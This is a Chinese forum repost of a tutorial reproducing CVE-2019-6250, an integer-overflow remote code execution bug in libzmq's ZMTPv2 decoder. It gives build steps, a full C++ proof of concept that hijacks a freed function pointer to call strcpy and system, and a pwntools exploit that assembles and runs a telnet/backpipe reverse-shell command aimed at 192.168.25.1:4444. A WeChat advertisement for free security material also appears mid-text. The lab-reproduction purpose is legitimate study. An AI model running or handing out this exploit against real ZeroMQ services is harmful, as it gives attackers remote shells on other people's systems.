ToB企服应用市场:ToB评测及商务社交产业平台

标题: CVE初探之漏洞反弹Shell(CVE-2019-6250) [打印本页]

作者: 农民    时间: 2024-2-6 16:55
标题: CVE初探之漏洞反弹Shell(CVE-2019-6250)
概述

ZMQ(Zero MessageQueue)是一种基于消息队列得多线程网络库,C++编写,可以使得Socket编程更加简单高效。
该编号为CVE-2019-6250的远程执行漏洞,主要出现在ZMQ的核心引擎libzmq(4.2.x以及4.3.1之后的4.3.x)定义的ZMTPv2.0协议中。
这一漏洞已经有很多师傅都已经分析并复现过了,但在环境搭建和最后的利用都所少有一些不完整,为了更好的学习,在学习师傅们的文章后,我进行了复现,并进行了些许补充,供师傅们学习,特别是刚开始复现CVE的师傅。
环境搭建

复现CVE最关键也是最繁琐的一步就是搭建漏洞环境,尽量保持与CVE报告的漏洞环境一致,如旧版本环境实在搞不到,就只能对新版本进行适当patch,把漏洞部分恢复以进行复现。
下面是针对该漏洞的环境搭建步骤
下载目标版本并安装
  1. git clone https://github.com/zeromq/libzmq.git
  2. cd libzmq
  3. git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3
  4. sudo apt-get install libtool pkg-config build-essential autoconf
  5. automake
  6. ./autogen.sh
  7. ./configure
  8. make
  9. sudo make install
复制代码
下载cppzmq
  1. git clone https://github.com/zeromq/cppzmq
  2. cd cppzmq
  3. cmake .
  4. sudo make -j4 install
复制代码
测试
  1. cd demo
  2. 编辑main.cpp,添加printf("hello worldn");
  3. mkdir build
  4. cd build
  5. cmake ..
  6. make
  7. ./demo
复制代码
demo可以正常执行即可
在我看到的几篇文章中,cppzmq好像都少了最后的make,导致编译并没有完全结束,影响后面的复现
漏洞复现

先看看已有的poc
  1. #include <netinet/in.h>
  2. #include <arpa/inet.h>
  3. #include <zmq.hpp>
  4. #include <string>
  5. #include <iostream>
  6. #include <unistd.h>
  7. #include <thread>
  8. #include <mutex>
  9. class Thread {
  10. public:
  11. Thread() : the_thread(&Thread::ThreadMain, this)
  12. { }
  13. ~Thread(){
  14. }
  15. private:
  16. std::thread the_thread;
  17. void ThreadMain() {
  18. zmq::context_t context (1);
  19. zmq::socket_t socket (context, ZMQ_REP);
  20. socket.bind ("tcp://*:6666");
  21. while (true) {
  22. zmq::message_t request;
  23. // Wait for next request from client
  24. try {
  25. socket.recv (&request);
  26. } catch ( ... ) { }
  27. }
  28. }
  29. };
  30. static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t
  31. arg2Addr, const uint64_t funcAddr)
  32. {
  33. int s;
  34. struct sockaddr_in remote_addr = {};
  35. if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  36. {
  37. abort();
  38. }
  39. remote_addr.sin_family = AF_INET;
  40. remote_addr.sin_port = htons(6666);
  41. inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);
  42. if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct
  43. sockaddr)) == -1)
  44. {
  45. abort();
  46. }
  47. const uint8_t greeting[] = {
  48. 0xFF, /* Indicates 'versioned' in
  49. zmq::stream_engine_t::receive_greeting */
  50. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
  51. 0x01, /* Indicates 'versioned' in
  52. zmq::stream_engine_t::receive_greeting */
  53. 0x01, /* Selects ZMTP_2_0 in
  54. zmq::stream_engine_t::select_handshake_fun */
  55. 0x00, /* Unused */
  56. };
  57. send(s, greeting, sizeof(greeting), 0);
  58. const uint8_t v2msg[] = {
  59. 0x02, /* v2_decoder_t::eight_byte_size_ready */
  60. 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
  61. };
  62. send(s, v2msg, sizeof(v2msg), 0);
  63. /* Write UNTIL the location of zmq::msg_t::content_t */
  64. size_t plsize = 8183;
  65. uint8_t* pl = (uint8_t*)calloc(1, plsize);
  66. send(s, pl, plsize, 0);
  67. free(pl);
  68. uint8_t content_t_replacement[] = {
  69. /* void* data */
  70. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  71. /* size_t size */
  72. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  73. /* msg_free_fn *ffn */
  74. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  75. /* void* hint */
  76. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  77. };
  78. /* Assumes same endianness as target */
  79. memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));
  80. memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));
  81. memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));
  82. /* Overwrite zmq::msg_t::content_t */
  83. send(s, content_t_replacement, sizeof(content_t_replacement), 0);
  84. close(s);
  85. sleep(1);
  86. }
  87. char destbuffer[100];
  88. char srcbuffer[100] = "ping google.com";
  89. int main(void)
  90. {
  91. Thread* rt = new Thread();
  92. sleep(1);
  93. callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer,
  94. (uint64_t)strcpy);
  95. callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);
  96. return 0;
  97. }
  98. 复制到demo重新编译
复制代码
执行./demo

复现成功
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
POC分析

poc主要包括下面四部分
  1. greeting
  2. v2msg
  3. plsize
  4. content_t_replacement
复制代码
v2msg用于设置msg_size=0xffffffffffffffff,其中的0x2标识程序进入eight_byte_size_ready状态,调用zmq::v2_decoder_t::size_ready进行解析,zmq::v2_decoder_t::size_ready方法在做比较判断的时候,使用的read_pos_ +msg_size加法发生整型溢出,导致可绕过缓冲区大小校验进入else流程。else流程调用zmq::msg_t::init()方法,该方法不会重新分配缓冲区大小而直接处理数据。在后续流程中将造成缓冲区写越界。下面是源代码中存在漏洞的部分。
  1. if (unlikely (!_zero_copy
  2. || ((unsigned char *) read_pos_ + msg_size_
  3. > (allocator.data () + allocator.size ())))) {
  4. rc = _in_progress.init_size (static_cast<size_t> (msg_size_));
  5. } else {
  6. rc = _in_progress.init (const_cast<unsigned char *> (read_pos_),
  7. static_cast<size_t> (msg_size_),
  8. shared_message_memory_allocator::call_dec_ref,
  9. allocator.buffer (), allocator.provide_content ());
  10. if (_in_progress.is_zcmsg ()) {
  11. allocator.advance_content ();
  12. allocator.inc_ref ();
  13. }
  14. }
复制代码
plsize作为padding,长度为0x1FF7,使得content_t_replacement可以覆盖_u.zclmsg.content指向的结构体。

ffn为函数指针,data和hint为两个参数的地址值,ffn将在tcp连接关闭的时候被zmq::msg_t::close()方法调用,看下图调试结果,成功执行了call0xdeadbeaf
[img=720,456.48]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312061503201.png[/img]
反弹Shell

由于还不清楚如何泄露地址,这里基于没有开PIE的程序编写exp。
通过分析POC,我们发现可以控制ffn,data和hint,即调用函数和两个参数,可以实现远程代码执行。
那么我的目标是反弹shell,也就是执行
  1. system("mknod backpipe1 p && telnet
  2. 192.168.25.1 4444 0<backpipe1 | /bin/bash
  3. 1>backpipe1;")
复制代码
,当然这只是其中一种方式。
那么,我的想法是,在二进制文件中找命令中的所有字符,通过执行strcpy进行拷贝,拼接成完整的命令,最后用调用system函数进行执行,实现反弹shell。
exp如下
  1. #!/usr/bin/env python
  2. # -*- encoding: utf-8 -*-
  3. '''
  4. @File : exp.py
  5. @Time : 2023/06/24 08:59:34
  6. @Author : 5ma11wh1t3
  7. @Contact : 197489628@qq.com
  8. '''
  9. import ctypes
  10. from pwn import *
  11. import base64
  12. context.log_level=True
  13. context.arch='amd64'
  14. elf_path = './build/demo'
  15. elf = ELF(elf_path)
  16. ru = lambda x : p.recvuntil(x)
  17. sn = lambda x : p.send(x)
  18. rl = lambda : p.recvline()
  19. sl = lambda x : p.sendline(x)
  20. rv = lambda x : p.recv(x)
  21. sa = lambda a,b : p.sendafter(a,b)
  22. sla = lambda a,b : p.sendlineafter(a,b)
  23. inter = lambda : p.interactive()
  24. def debug():
  25.    gdb.attach(p, 'directory
  26.    /home/guo/Desktop/cve/cve-2019-6250/libzmq/src')
  27.    pause()
  28. def lg(s,addr = None):
  29.    if addr:
  30.        print('033[1;31;40m[+] %-15s --> 0x%8x033[0m'%(s,addr))
  31.    else:
  32.        print('033[1;32;40m[-] %-20s 033[0m'%(s))
  33. if __name__ == '__main__':
  34.    re_shell = b"mknod backpipe1 p && telnet 192.168.25.1 4444 0<backpipe1
  35.    | /bin/bash 1>backpipe1;"
  36.    with open(elf_path,'rb') as f:
  37.    binary = f.read()
  38.    ads = []
  39.    for char in re_shell:
  40.    char_address = 0x400000 + binary.index(char)
  41.    ads.append(char_address)
  42.    for i in range(len(ads)):
  43.    p = remote('127.0.0.1',6666)
  44.    p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'
  45.    p1 += b'x02' + b'xff'*8
  46.    p1 += b'a'*8183
  47.    p1 += p64(0x4050F8+i) # void* data rdi
  48.    p1 += p64(0) # size_t size
  49.    p1 += p64(elf.plt['strcpy']) # msg_free_fn *ffn func
  50.    p1 += p64(ads[i]) # void* hint rsi
  51.    sn(p1)
  52.    p.close()
  53.    p = remote('127.0.0.1',6666)
  54.    p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'
  55.    p1 += b'x02' + b'xff'*8
  56.    p1 += b'a'*8183
  57.    p1 += p64(0x4050F8) # void* data rdi
  58.    p1 += p64(0) # size_t size
  59.    p1 += p64(elf.plt['system']) # msg_free_fn *ffn func
  60.    p1 += p64(ads[i]) # void* hint rsi
  61.    # raw_input()
  62.    sn(p1)
  63.    p.close()
复制代码
演示

攻击准备

本地起监听
[img=720,153.0824008138352]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312061503202.png[/img]
server
[img=720,101.86813186813187]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312061503203.png[/img]
攻击实施

[img=720,578.3351351351351]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312061503204.png[/img]
获得shell

[img=720,409.68]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312061503205.png[/img]
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4